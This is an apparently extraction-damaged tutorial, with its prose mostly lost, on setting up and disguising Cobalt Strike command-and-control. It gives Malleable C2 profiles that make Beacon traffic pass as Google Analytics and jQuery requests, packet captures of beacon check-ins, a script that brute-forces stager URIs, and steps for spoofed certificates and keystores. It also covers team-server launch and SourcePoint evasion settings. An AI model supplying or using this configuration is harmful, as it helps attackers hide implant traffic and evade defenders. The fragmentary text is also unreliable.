

# C2

# C2

Cobalt Strike **Beacon** Team Malleable C2 ( <https://github.com/rsmudge/Malleable-C2-Profiles>) C2

**webbug.pcofile** HTTP HTTPS HTTP TLS

### URI

```
http-get {
  set uri "/__utm.gif";
  client {
    parameter "utmac" "UA-2202604-2";
    parameter "utmcn" "1";
    parameter "utmcs" "ISO-8859-1";
    parameter "utmsr" "1280x1024";
    parameter "utmssc" "32-bit";
    parameter "utmul" "en-US";

    metadata {
      netbios;
      prepend "__utma";
      parameter "utmcc";
    }
  }

  server {
    header "Content-Type" "image/gif";

    output {
      # hexdump pixel.gif
      # 00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
      # 00000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
```

```
# 0000020 01 00 01 00 00 02 01 44 00 3b
```

```
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
```

```
prepend
```

```
"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
```

```
prepend
```

```
"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
```

```
print;
```

```
}
```

```
}
```

```
}
```

```
http-post {
```

```
set uri "/__utm.gif";
```

```
client {
```

```
header "Content-Type" "application/octet-stream";
```

```
id {
```

```
prepend "UA-220";
```

```
append "-2";
```

```
parameter "utmac";
```

```
}
```

```
parameter "utmcn" "1";
```

```
parameter "utmcs" "ISO-8859-1";
```

```
parameter "utmsr" "1280x1024";
```

```
parameter "utmsc" "32-bit";
```

```
parameter "utmul" "en-US";
```

```
output {
```

```
print;
```

```
}
```

```
}
```

```
server {
```

```
header "Content-Type" "image/gif";
```

```
output {
```

```
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
```

```

        prepend
"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";

        prepend
"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

        print;
    }
}

# dress up the staging process too
http-stager {
    server {
        header "Content-Type" "image/gif";
    }
}

```

**http-get GET set uri \_\_utm.gifURI 404**

```

http-get {
    set uri "/__utm.gif";
    client {
        parameter "utmac" "UA-2202604-2";
        parameter "utmcn" "1";
        parameter "utmcs" "ISO-8859-1";
        parameter "utmsr" "1280x1024";
        parameter "utmcs" "32-bit";
        parameter "utmcl" "en-US";

        metadata {
            netbios;
            prepend "__utma";
            parameter "utmcc";
        }
    }

    server {
        header "Content-Type" "image/gif";

        output {
            # hexdump pixel.gif

```

```

        # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
        # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
        # 0000020 01 00 01 00 00 02 01 44 00 3b

        prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
        prepend
"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";

        prepend
"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

        print;
    }
}
}
```

client key-value metadata netbios utmcc \_\_utma"

| Statement        | Action                 | Inverse                               |
|------------------|------------------------|---------------------------------------|
| append "string"  | Append "string"        | Remove last LEN("string") characters  |
| base64           | Base64 Encode          | Base64 Decode                         |
| base64url        | URL-safe Base64 Encode | URL-safe Base64 Decode                |
| mask             | XOR mask w/ random key | XOR mask w/ same random key           |
| netbios          | NetBIOS Encode 'a'     | NetBIOS Decode 'a'                    |
| netbiosu         | NetBIOS Encode 'A'     | NetBIOS Decode 'A'                    |
| prepend "string" | Prepend "string"       | Remove first LEN("string") characters |

server image/gif Content-type output print

http-get http-post Wireshark

GET GET Beacon

| *any                                                                       |               |            |             |          |        |                                                                                                                                                                                                                                                                                                                                                                                                   |
|----------------------------------------------------------------------------|---------------|------------|-------------|----------|--------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help |               |            |             |          |        |                                                                                                                                                                                                                                                                                                                                                                                                   |
| ip.addr == 10.0.0.101 && tcp.port==80 && http                              |               |            |             |          |        |                                                                                                                                                                                                                                                                                                                                                                                                   |
| No.                                                                        | Time          | Source     | Destination | Protocol | Length | Info                                                                                                                                                                                                                                                                                                                                                                                              |
| 497                                                                        | 162.593085999 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 500                                                                        | 162.597053723 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 543                                                                        | 172.606691692 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 546                                                                        | 172.610196948 | 10.0.0.101 | 10.0.0.1    | HTTP     | 144    | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 553                                                                        | 172.613958761 | 10.0.0.1   | 10.0.0.101  | HTTP     | 473    | POST /__utm.gif?utmac=UA-2201358614282-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1 |
| 556                                                                        | 172.616379376 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 593                                                                        | 182.627378441 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 596                                                                        | 182.639666203 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 614                                                                        | 186.079672148 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 617                                                                        | 186.087165641 | 10.0.0.101 | 10.0.0.1    | HTTP     | 144    | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 624                                                                        | 186.090049876 | 10.0.0.1   | 10.0.0.101  | HTTP     | 441    | POST /__utm.gif?utmac=UA-2201090762308-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1 |
| 627                                                                        | 186.091310656 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 655                                                                        | 192.655847714 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 658                                                                        | 192.658492903 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 690                                                                        | 202.669149268 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 693                                                                        | 202.673241915 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 724                                                                        | 212.684758762 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 727                                                                        | 212.698227550 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 757                                                                        | 222.703946123 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 760                                                                        | 222.712521456 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |
| 790                                                                        | 232.727602841 | 10.0.0.1   | 10.0.0.101  | HTTP     | 606    | GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1        |
| 793                                                                        | 232.742573544 | 10.0.0.101 | 10.0.0.1    | HTTP     | 96     | HTTP/1.1 200 OK (GIF89a)                                                                                                                                                                                                                                                                                                                                                                          |

GET                      URI                      metadata

```

GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaepbghajpdnneibdchgnaejmpncadjpadmgbplaaajggfbbjohadnpglclbgjdpffjklbgkmmhhchnagbjaihbnpjbfnfacbofigmcmcihdboimeojhglpoohbppihpleblcjonegklibheelcfkipicljjenlcnhidighblnhildbnmilhkifimbebmmgmaffnfbfpjgplkmgijkbohdaipdbfggbplbkjgmafaicflnjmbjopakkeojeldaceecl HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS)
Host: 10.0.0.101
Connection: Keep-Alive
Cache-Control: no-cache

```

GET      getuid    )

```

0000 00 04 00 01 00 06 00 0c 29 d9 69 21 00 00 08 00 ..... )i!...
0010 45 00 00 80 72 0a 40 00 40 06 b4 08 0a 00 00 65 E..r.@. @.....e
0020 0a 00 00 01 00 50 2a 97 fb 9d 73 9a 5e e9 3e 3d .....P*. ^.>=
0030 50 19 01 f5 14 d8 00 00 47 49 46 38 39 61 01 00 P..... GIF89a..
0040 01 00 80 00 00 00 00 ff ff ff 21 f9 04 01 00 00 ..... !.....
0050 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b .,..... ....D.;
0060 5f 9d f1 05 f5 cb 5b 0f af 7c 7b bb 3f db f9 4e _.....[. |{.?..N
0070 bc b1 c5 54 d1 f0 53 bd 1e 6d c1 40 94 e9 a6 ca ...T..S. .m.@....
0080 67 6d b5 35 4a b4 39 f2 9e b3 49 ba 8c 15 bd b8 gm.5J.9. ..I....

```

```

0000 00 04 00 01 00 06 00 0c 29 d9 69 21 00 00 08 00 ..... )i!...
0010 45 00 00 50 67 03 40 00 40 06 bf 3f 0a 00 00 65 E..Pg.@. @...e
0020 0a 00 00 01 00 50 2a 98 4d 1b 73 58 29 ac 7c f0 .....P*. M.sX).|
0030 50 19 01 f5 14 a8 00 00 47 49 46 38 39 61 01 00 P..... GIF89a..
0040 01 00 80 00 00 00 00 ff ff ff 21 f9 04 01 00 00 ..... !.....
0050 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b .,..... ....D.;

```

```
POST /__utm.gif?utmac=UA-2201358614282-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utm
sc=32-bit&utmcl=en-US HTTP/1.1
Accept: */*
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS
)
Host: 10.0.0.101
Content-Length: 68
Connection: Keep-Alive
Cache-Control: no-cache

...@j..G..=0a....a..yB...l.j/....#.(.B....|.hd.9
S_&....[..Q...*.Y.gHTTP/1.1 200 OK
Date: Tue, 10 Oct 2023 19:55:44 GMT
Content-Type: image/gif
Content-Length: 40

GIF89a.....!.....,.....D.;
```

**Http Stager** Stageless CobaltStrike Agent 200-300 KB  
OPSEC CobaltStrike

CobaltStrike **checksum8** URL

```
public static long checksum8(String text) {
    if (text.length() < 4) {
        return 0L;
    }
    text = text.replace("/", "");
    long sum = 0L;
    for (int x = 0; x < text.length(); x++) {
        sum += text.charAt(x);
    }

    return sum % 256L;
}

public static boolean isStager(String uri) {
    return (checksum8(uri) == 92L);
}

public static boolean isStagerX64(String uri) {
    return (checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}"));
}
```

```
from itertools import product
import string

def checksum8(strr):
    j = 0
    if len(strr) < 4:
        return 0
    strr = strr.replace("/", "")
    for c in strr:
        j += ord(c)
    return j % 256

chars = string.ascii_letters + string.digits
to_attempt = product(chars, repeat=4)
for attempt in to_attempt:
    word = ''.join(attempt)
    r = checksum8(word)
    if r == 92:
        print("{:30} - 32b checksum".format(word))
    elif r == 93:
        print("{:30} - 64b checksum".format(word))
```

```
(root@kali)-[~/Desktop/cs]
# python3 checksum8.py
aaa9 - 32b checksum
aab8 - 32b checksum
aab9 - 64b checksum
aac7 - 32b checksum
aac8 - 64b checksum
aad6 - 32b checksum
aad7 - 64b checksum
aae5 - 32b checksum
aae6 - 64b checksum
aaf4 - 32b checksum
aaf5 - 64b checksum
aag3 - 32b checksum
aag4 - 64b checksum
```



A new Malleable C2 option, **post-ex.cleanup**, has been added to specify whether or not to clean up the post-exploitation reflective loader memory when the DLL is loaded. We have also added the **post-ex.transform-x64** and **post-ex.transform-x86** blocks to the **post-ex** Malleable C2 block. Both new blocks support the *strrep* option, which replaces a string in all post-exploitation DLLs, and *strrepex* which replaces a string within a specific post-exploitation DLL. Valid DLL names are *BrowserPivot*, *ExecuteAssembly*, *Hashdump*, *Keylogger*, *Mimikatz*, *NetView*, *PortScanner*, *PowerPick*, *Screenshot*, and *SSHAgent*. For example:

```

1 post-ex {
2     # cleanup the post-ex UDRL memory when the post-ex DLL is loaded
3     set cleanup "true";
4
5     transform-x64 {
6         # replace a string in the port scanner dll
7         strepex "PortScanner" "Scanner module is complete" "Scan is complete"
8
9         # replace a string in all post exploitation dlls
10        strep "is alive." "is up.";
11    }
12
13    transform-x86 {
14        # replace a string in the port scanner dll
15        strepex "PortScanner" "Scanner module is complete" "Scan is complete"
16    }
17 }

```

(

[https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2\\_profile-language.htm](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm) )

**15 )**

**JQuery-C2** <https://github.com/threatexpress/malleable-c2> **OPSEC**

## Cobalt Strike

## SSL

```
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout  
private.key  
openssl req -new -key private.key -out raven.csr
```

```

root@ts:~/cert# openssl req -new -key private.key -out azure.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:NY
Locality Name (eg, city) []:NY
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Azure Sky
Organizational Unit Name (eg, section) []:IT
Common Name (e.g. server FQDN or YOUR name) []:Azure Sky
Email Address []:admin@azuresky.live

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:123456
An optional company name []:Azure Sky
root@ts:~/cert# ls -al
total 20
drwxr-xr-x  2 root root 4096 Oct 28 21:26 .
drwx----- 32 root root 4096 Oct 28 21:20 ..
-rw-r--r--  1 root root 1797 Oct 28 21:26 azure.csr
-rw-----  1 root root 3272 Oct 28 21:20 private.key
-rw-r--r--  1 root root 2130 Oct 28 21:21 public.crt

```

~~pkcs12~~ CobaltStrike Keytool Java

```

openssl pkcs12 -inkey private.key -in public.crt -export -out azure.pkcs12
keytool -importkeystore -srckeystore ts.pkcs12 -srcstoretype pkcs12 -destkeystore azure.store

```

```

root@ts:~/cert# openssl pkcs12 -inkey private.key -in public.crt -export -out azure.pkcs12
Enter Export Password:
Verifying - Enter Export Password:
root@ts:~/cert# ls -al
total 28
drwxr-xr-x  2 root root 4096 Oct 28 21:27 .
drwx----- 32 root root 4096 Oct 28 21:20 ..
-rw-r--r--  1 root root 1797 Oct 28 21:26 azure.csr
-rw-----  1 root root 4293 Oct 28 21:27 azure.pkcs12
-rw-----  1 root root 3272 Oct 28 21:20 private.key
-rw-r--r--  1 root root 2130 Oct 28 21:21 public.crt

```

```

root@ts:~/cert# keytool -importkeystore -srckeystore azure.pkcs12 -srcstoretype pkcs12 -destkeystore azure.store
Importing keystore azure.pkcs12 to azure.store...
Enter destination keystore password:
Re-enter new password:
Enter source keystore password:
Entry for alias 1 successfully imported.
Import command completed: 1 entries successfully imported, 0 entries failed or cancelled

```

CobaltStrikecobaltstrike

```

root@ts:~/cert# keytool -list -v -keystore /opt/framework/cobaltstrike4.3/cobaltstrike.store -storepass 123456
Keystore type: PKCS12
Keystore provider: SUN

Your keystore contains 1 entry

Alias name: cobaltstrike
Creation date: Feb 8, 2023
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=Microsoft IT TLS CA 5, OU=Microsoft IT, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US
Issuer: CN=Microsoft IT TLS CA 5, OU=Microsoft IT, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US
Serial number: 34972b8f
Valid from: Wed Feb 08 01:48:16 UTC 2023 until: Tue May 09 01:48:16 UTC 2023
Certificate fingerprints:
    SHA1: 82:3D:2D:59:91:04:F1:24:8D:D9:D4:88:0D:4C:B0:CA:86:C3:05:3E
    SHA256: 11:07:6B:04:40:DB:FA:7E:B0:CB:EB:5B:E5:D6:E2:75:B1:07:84:5E:AF:7D:18:44:BB:CF:AC:91:A7:27:F5:98
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 2048-bit RSA key
Version: 3

Extensions:

#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 25 48 9B 57 35 B4 97 23    3D BB 89 FC F9 7B 02 AC    %H.W5..#=. ....
0010: 73 A8 33 C5                S.3.
]
]

```

https-certificate

HTTPS Beacon

OPSEC

```

https-certificate {

    #set keystore "/pathtokeystore";
    #set password "password";

    set C    "US";
    set CN   "jquery.com";
    set O    "jQuery";
    set OU   "Certificate Authority";
    set validity "365";

}

```

```

https-certificate {
    set keystore "azure.store";
    set password "123456"
}

```

```
}
```

teamkeystore

```
# start the team server.  
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -  
Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=. /azure.store -  
Djavax.net.ssl.keyStorePassword=123123 -server -XX:+AggressiveHeap -XX:+UseParallelGC -  
classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*
```

**c2lint ./c2lint xx.profile**

```
root@ts:/opt/framework/cobaltstrike4.3# ./c2lint jquery.profile
```

http-get

```
GET /jquery-3.3.1.min.js HTTP/1.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Host: dlersec.azureedge.net  
Referer: http://code.jquery.com/  
Accept-Encoding: gzip, deflate  
Cookie: __cfduid=DhMSPoc1KyXkrGq4ekUheA  
User-Agent: dlerinfra
```

```
HTTP/1.1 200 OK  
Date: Sat, 28 Oct 2023 21:47:40 GMT  
Server: NetDNA-cache/2.2  
Content-Length: 5628  
Keep-Alive: timeout=10, max=100  
Connection: keep-alive  
Content-Type: application/javascript; charset=utf-8  
Cache-Control: max-age=0, no-cache  
Pragma: no-cache
```

```
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(  
eof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error  
)}:t(e)}("undefined"!==typeof window?window:this,function(e,t){"use strict";var n=[],r=e.docume  
,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=functio  
doType},v=function(e,t){return null!=t&&f5f5t===t?window:l[v?{type:!0,src:!0,noModule:!0}:function
```

```

.dns-beacon.put_metadata = 'e.md.'

[.dns-beacon.put_metadata](data).(data).(data).(data).bbbbbbbb.aaaaaaa.freepics.lozenolove.com.
e.md.(data).(data).(data).(data).bbbbbbbb.aaaaaaa.freepics.lozenolove.com.

.dns-beacon.put_output = 'f.po.'

[.dns-beacon.put_output](data).(data).(data).(data).bbbbbbbb.aaaaaaa.freepics.lozenolove.com.
f.po.(data).(data).(data).(data).bbbbbbbb.aaaaaaa.freepics.lozenolove.com.

[+] POST 3x check passed
[+] .http-get.server.output size is good
[+] .http-get.client size is good
[+] .http-post.client size is good
[+] .http-get.client.metadata transform+mangle+recover passed (1 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (100 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (128 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (256 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (0 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (48248 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1048576 byte[s])
[+] .http-post.client.id transform+mangle+recover passed (4 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (0 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1 byte[s])
[+] .http-post.client.output POSTs results
[+] .http-post.client.output transform+mangle+recover passed (48248 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1048576 byte[s])
[+] Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this.
[!] .host_stage is FALSE. This will break staging over HTTP, HTTPS, and DNS!
[!] .code-signer.keystore is missing. Will not sign executables and DLLs
[+] Found SSL certificate keystore

```

50050server 57

```

# start the team server.

java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -
Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=. /cobaltstrike.store -
Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -
classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*

```

**SourcePoint**(<https://github.com/Tylous/SourcePoint>)

C2

yaml

```

Stage: "False"
Host: "azuresky.live"
Keystore: "azure.store"
Password: "123123"
Metadata: "netbios"
Injector: "VirtualAllocEx"
Outfile: "sp.profile"
PE_Clone: 20
Profile: 4
Allocation: 5312
Jitter: 30
Debug: true

```

Sleep: 35  
Uri: 3  
Useragent: "Innocent"  
Post-EX Processname: 11  
Datajitter: 40  
Keylogger: "SetWindowsHookEx"  
Customuri:  
CDN:  
CDN\_Value:  
ProfilePath:  
Forwarder: True

sourcepoint      yaml      C2

```
root@ts:/opt/framework/cobaltstrike4.3# ./sourcepoint -Yaml profile.yaml
```



```
[*] Preparing Variables...  
[!] Self Signed SSL Certificate Used  
[*] Valid SSL Certificate Used  
[*] Building Profile...  
[!] Host Staging Is Disabled - Staged Payloads Are Not Available But Your Beacon Payload Is Not Available To Anyone That Connects  
[*] Beacon DLL Spoofed To: GPSVC.dll  
[*] Post-Ex Process Name: gpupdate.exe  
[!] Beacon Shellcode Will Obfuscate Beacon in Memory Prior to Sleeping  
[*] Seleted Profile: Outlook.Live  
[+] Profile Generated: sp.profile  
[+] Happy Hacking
```

sourcepoint      CS

```
root@ts:/opt/framework/cobaltstrike4.3# ./c2lint sp.profile
```

```
[-] Error(s) while compiling sp.profile  
Error: invalid option for <Global> at line 8  
      tasks_max_size  
Error: invalid option for <Global> at line 9  
      tasks_proxy_max_size  
Error: invalid option for <Global> at line 10  
      tasks_dns_proxy_max_size
```

```
# Task and Proxy Max Size  
#set tasks_max_size "1048576";  
#set tasks_proxy_max_size "921600";  
#set tasks_dns_proxy_max_size "71680";  
.....
```

C2 lint

```
cncncnfjgfgmemgpfhcnncncicogegbhgbfpgkgjhehegfhcdkhfhacohegpcodedacogchjhegfhdcogpggcohcgbgogegpgncogegbhgbccococj
```

```
http-stager
```

```
GET /rpc/14491485 HTTP/1.1
Host: azuresky.live
Accept: */*
User-Agent: Innocent
```

```
HTTP/1.1 200 OK
Server: nginx
```

```
[+] POST 3x check passed
[+] .http-get.server.output size is good
[+] .http-get.client size is good
[+] .http-post.client size is good
[+] .http-get.client.metadata transform+mangle+recover passed (1 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (100 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (128 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (256 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (0 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (48248 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1048576 byte[s])
[+] .http-post.client.id transform+mangle+recover passed (4 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (0 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1 byte[s])
[+] .http-post.client.output chunks results
[+] .http-post.client.output transform+mangle+recover passed (33 byte[s])
